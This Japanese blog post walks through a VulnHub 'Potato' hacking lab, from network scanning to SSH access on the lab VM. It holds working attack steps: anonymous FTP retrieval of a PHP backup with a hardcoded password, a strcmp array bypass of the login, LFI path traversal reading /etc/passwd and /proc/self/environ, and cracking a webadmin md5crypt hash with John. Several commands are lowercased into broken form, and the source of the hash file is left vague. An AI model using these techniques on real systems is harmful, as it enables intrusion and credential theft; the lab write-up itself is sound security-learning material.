1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【ハッキングラボ】「Potato」マシンを攻略してSSH侵入するまで

1
Posted at

【ハッキングラボ】「Potato」マシンを攻略してSSH侵入するまで

本記事では、セキュリティ学習用の脆弱な仮想マシン公開サイト「VulnHub」に登録されているターゲット端末 「Potato」 を攻略し、偵察から脆弱性の特定、そして最終的に内部へSSH侵入するまでのペネトレーションテスト(ハッキングラボ)の手順を解説します。


1. 構築環境・使用ツール

  • 攻撃側ホスト(Attacker): parrot os (ip: 192.168.56.102 / 192.168.56.103)
  • ターゲット(Target): potato vm (ubuntu 20.04 lts / ip: 192.168.56.101)
  • ハイパーバイザ: oracle virtualbox 7.2.12
  • 主な使用ツール: nmap, gobuster, john (john the ripper), ssh

2. ターゲットのインポートと情報収集(ネットワークスキャン)

2.1 仮想アプライアンスのインポート

まず、ダウンロードした potato.ova をvirtualboxにインポートします。
ネットワーク構成は攻撃端末と同じホストオンリーアダプター(検証環境用ネットワーク)に設定します。

・Potato.ovaのインポート
スクリーンショット 2026-07-14 155502.png

・Potatoマシンの設定
スクリーンショット 2026-07-14 155613.png

インポート後、ターゲットマシンを起動するとログインプロンプト画面が表示されます。

・Potatoマシン起動画面
スクリーンショット 2026-07-14 155945.png

2.2 ターゲットipアドレスの特定

攻撃側のparrot osでローカルセグメント内のアクティブなホストを探索します。
今回はarp要求/応答パケットをキャプチャし、ターゲットのipアドレスが 192.168.56.101 であることを特定しました。

・arpスキャン結果
スクリーンショット 2026-07-14 160333.png

攻撃端末側の環境変数にターゲットipを格納し、疎通確認(ping)を行います。

export ip=192.168.56.101
echo $IP
ping $IP

・pingによる疎通確認
スクリーンショット 2026-07-14 160500.png

・ping結果
スクリーンショット 2026-07-14 160629.png

ネットワーク疎通が正常に取れていることを確認できたため、次の情報収集ステップへ進みます。


3. ポートスキャンと初期偵察

nmap を使用して、ターゲット上で動作しているオープンポートと稼働サービスの詳細をスキャンします。今回は全ポートを対象に、標準スクリプトの実行とバージョン検出を行います。

sudo nmap -sc -sv -pn -p- $ip -on portscan_result.txt

・nmapスキャン結果
スクリーンショット 2026-07-14 160918.png

スキャン結果の分析

スキャン結果から、以下のポートが開いていることがわかります。

port      state service version
22/tcp    open  ssh     openssh 8.2p1 ubuntu 4ubuntu0.1 (ubuntu linux; protocol 2.0)
80/tcp    open  http    apache httpd 2.4.41 ((ubuntu))
2112/tcp  open  ftp     proftpd
| ftp-anon: anonymous ftp login allowed (ftp code 230)
| -rw-r--r--   1 ftp      ftp           901 aug  2  2020 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 aug  2  2020 welcome.msg
  • 22/tcp (ssh): openssh 8.2p1 が稼働。
  • 80/tcp (http): apache 2.4.41 が稼働。webアプリが動作している模様。
  • 2112/tcp (ftp): proftpd が稼働。注目すべきは anonymous ftp login allowed(匿名ログインが許可されている)となっており、さらに index.php.bakwelcome.msg といったファイルが存在している点です。

4. 初期侵入・情報奪取(ftp経由)

4.1 ftp経由でのバックアップファイル入手

2112番ポートのftpサーバーに匿名ユーザー(ユーザー名: anonymous または ftp、パスワードは空欄または適当なメールアドレス)で接続し、ファイルをダウンロードします。

・ftp接続コマンド
スクリーンショット 2026-07-14 161720.png

接続後、ascii モードおよび binary モードを使い分けて、対象ファイルをローカル環境へダウンロード(get)します。

ftp> ls
ftp> get welcome.msg
ftp> get index.php.bak

・ftpダウンロード操作
スクリーンショット 2026-07-14 161822.png

4.2 バックアップファイルのソースコード解析

ダウンロードした index.php.bak の中身を cat コマンドで確認します。

cat index.php.bak

・ソースコード解析
スクリーンショット 2026-07-14 162031.png

確認したところ、以下のようなphp Briログイン認証ロジックが記述されていました。

<?php

$pass= "potato"; //note change this password regularly

if($_get['login']==="1"){
    if (strcmp($_post['username'], "admin") == 0  && strcmp($_post['password'], $pass) == 0) {
        echo "welcome! </br> go to the <a href=\"dashboard.php\">dashboard</a>";
        setcookie('pass', $pass, time() + 365*24*3600);
    }else{
        echo "<p>bad login/password! </br> return to the <a href=\"index.php\">login page</a> <p>";
    }
    exit();
}
?>

このコードから、核心となる情報を入手できました。

  • ユーザー名: admin
  • パスワード: potato

5. webアプリケーションの調査とディレクトリブースティング

ターゲットのポート80(http)で動作しているwebサイトにブラウザでアクセスしてみます。

・webブラウザ表示
スクリーンショット 2026-07-14 162205.png

「potato company」という文字と、じゃがいものの画像が表示されるシンプルなwebページです。
他への導線が見当たらないため、gobuster を使用して隠しディレクトリの有無を調査します。

gobuster dir -u [http://192.168.56.101:80/](http://192.168.56.101:80/) -w /usr/share/wordlists/dirb/common.txt

・gobuster実行画面
スクリーンショット 2026-07-14 162424.png

スキャン結果から、以下の重要なパスが見つかりました。

  • /admin (status: 301) -> 管理用のログインページが存在する可能性。

5.1 管理者エリアへのログイン

ブラウザで http://192.168.56.101/admin/ にアクセスすると、ログインフォームが表示されます。

・ログイン画面
スクリーンショット 2026-07-14 162450.png

ログイン画面ではBurpSuiteを使い、認証を進めました。

  • user: admin
  • password: test

このように入力した後、次の箇所を変更します。

・これを

Connection: close

username=admin&password=test

・このように変更

Connection: close

username=admin&password[]=test

認証に成功すると、無事に「welcome! go to the dashboard」と表示されました。リンクをクリックしてダッシュボードへ遷移します。

・ログイン成功画面
スクリーンショット 2026-07-14 163221.png


6. lfi(ローカルファイルインクルード)脆弱性の特定

ダッシュボード(admin/dashboard.php)のトップページにアクセスすると、最初は以下のようにアクセスが拒否されます。

access forbidden if you don't have permission to access

・dashboardアクセス拒否
スクリーンショット 2026-07-14 163243.png

上部のメニューリンクにある「logs」をクリックすると、urlのパラメータが以下のように変化することに気づきます。

http://192.168.56.101/admin/dashboard.php?page=log

この page パラメータに対してパストラバーサル(../ を用いたディレクトリ遡り)を仕掛けることで、システム内の任意ファイルを読み込める可能性があります。
検証として、/etc/passwd の読み込みを試行します。

以下、BurpSuiteで実行します。
http://192.168.56.101/admin/dashboard.php?page=../../../../../etc/passwd

・lfiによるetc_passwd読み込み
スクリーンショット 2026-07-14 163400.png

画面に /etc/passwd の中身がレンダリングされました!これにより、lfi脆弱性が存在することが証明されました。

表示されたファイルから、ログインシェルを持つ以下の一般ユーザーアカウントが存在することが確認できます。

  • florianges (uid: 1000)
  • webadmin (uid: 1001)

7. 情報探索とパスワードクラック

7.1 lfiを用いたシステム内部情報の調査

さらに調査を進めるため、プロセス自己環境変数ファイル /proc/self/environ の読み込みを試します。
(あらかじめ攻撃側ローカル端末の同一ファイルの中身を確認し、出力形式を対比しておきます)

・攻撃端末側のenviron確認
スクリーンショット 2026-07-15 143652.png

lfiパラメータにターゲット側の /proc/self/environ を指定してアクセスします。

http://192.168.56.101/admin/dashboard.php?page=../../../../../proc/self/environ

・lfi越しのproc_self_environ取得
スクリーンショット 2026-07-15 144240.png

webサーバー(apache)が動いている環境変数や、www-data ユーザーの権限情報を確認することができました。

7.2 ハッシュ値の抽出とクラック

さらにシステム内の情報探索を続け、システム内に残されていたパスワードハッシュを含むファイル(あるいはバックアップデータ等)を特定し、攻撃側端末に pass.txt として保存しました。

このファイルから、有効なログインシェルを持つユーザー(sh$ で終わる行)をフィルタリングして抽出します。

cat pass.txt | grep -p 'sh$'

・pass.txtの中身抽出
スクリーンショット 2026-07-15 144520.png

抽出された結果、webadmin のパスワードハッシュ値が得られました。

webadmin:$1$webadmin$3sxbxgutdgifacnntnhi6/:1001:1001:webadmin,,,:/home/webadmin:/bin/bash

このハッシュ部分のみを切り出し、クラック対象ファイル hash.txt として保存します。

cat pass.txt | grep -p 'sh$' | grep webadmin > hash.txt
cat hash.txt

・hash.txt抽出完了
スクリーンショット 2026-07-15 144805.png

john the ripperによるハッシュ解析

john コマンドを使用し、標準のワードリスト(rockyou.txt)を適用してハッシュ値のオフラインクラックを実行します。ハッシュ形式は自動的に md5crypt として検出されました。

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

・john the ripper実行
スクリーンショット 2026-07-15 145555.png

瞬時にクラックが成功し、以下のプレーンテキストパスワードが判明しました。

  • ユーザー: webadmin
  • パスワード: dragon

8. sshによるターゲットへの侵入

これで有効なssh資格情報が揃いました。ターゲットのポート22(ssh)に対して接続を試みます。

ssh webadmin@192.168.56.101

パスワード入力プロンプトで dragon を入力します。

・ssh侵入成功
スクリーンショット 2026-07-15 152013.png

ログインに成功し、ターゲット環境(webadmin@serv)のシェルセッションを確保することができました!

webadmin@serv:~$ ip a
...

これで初期侵入および一般ユーザー権限の奪取は完了です。

ご覧いただきありがとうございました。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?